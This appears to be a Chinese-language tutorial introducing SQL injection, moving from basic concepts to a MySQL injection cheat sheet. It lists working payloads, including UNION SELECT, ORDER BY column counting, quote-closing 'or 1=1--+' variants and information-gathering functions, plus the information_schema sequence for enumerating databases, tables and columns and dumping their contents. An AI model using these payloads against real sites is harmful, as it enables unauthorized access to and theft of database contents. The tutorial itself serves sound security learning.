前言
不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一。
一、什么是SQL
SQL(Struct Query Language)结构化查询语言,是一种面向数据库的编程语言,它可以对数据库中的信息进行增删改查操作。SQL可以与多种数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。
二、什么是SQL注入
攻击者通过精心构造SQL语句达到欺骗服务器、绕过服务器的检测过滤,最终达到执行该SQL语句,并且输出攻击者想要获取的隐秘信息的过程。
三、Sql注入是怎么产生的
WEB交互少不了从WEB页面接收用户输入的信息,并且对其进行操作,最终完成交互的目的。有一句话说的好就是“有输入的地方就有风险”,如果对用户的输入不加过滤,直接带入数据库执行,那么就会产生一定的安全风险。例如:
select username,password from user where id = 3
http://xxx.com/sql?id=1 union select….
select username,password from user where id = 3 union select ….
Mysql注入部分
获取字段数:order by x 取临界值
获取数据库名:database()
获取版本version()
Information_schema, mysql 5.0以上版本自带数据库,它记录有当前mysql下所有的数据库名,表名,列名信息
Information_schema.tables; 记录表名信息的表
Information_schema.columns; 记录列名信息的表
Table_name 表名
Column_name 列名
Schema_table 数据库名
数据库中符号”.”代表下一级的意思
Information_schema.tables 也就是 Information_schema数据库下的tables表
常用函数,进行信息收集
Version() –mysql版本
User() –数据库用户名
database() –数据库名
@@datadir —数据库路径
@@version_compile_os –操作系统版本
system_user() //系统用户名
user() //用户名
current_user() //当前用户名
session_user() //连接数据库的用户名
Concat
Concat_ws
Group_concat
–+可以用#替换,url提交过程中Url编码后的#为%23 ‘是%27 空格%20
Or 1=1–+
‘ or 1=1–+
) or 1=1–+
‘) or 1=1–+
“) or 1=1–+
“)) or 1=1–+
Union 内部的select语句必须拥有相同数量的列。
Mysql关键的表 重点!!!
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
schema_name是数据库名 information_schema.schemata存储了所有的数据库名字
猜某库的数据表
这个查询某个特定的表
select table_name from information_schema.tables where table_schema=’xxxxx’
要是这样select table_name from information_schema.tables就是查询所有的表
table_schema是数据库的名称,table_name是具体的表名 information_schema.tables存储了所有的表名
猜某表的所有列
这个查询某个特定的表
Select column_name from information_schema.columns where table_name=’xxxxx’
要是这样Select column_name from information_schema.columns就是查询所有的列
column_name是列名 table_name是表名 information_schema.columns存储了所有的列名
获取某列的内容
Select *** from ****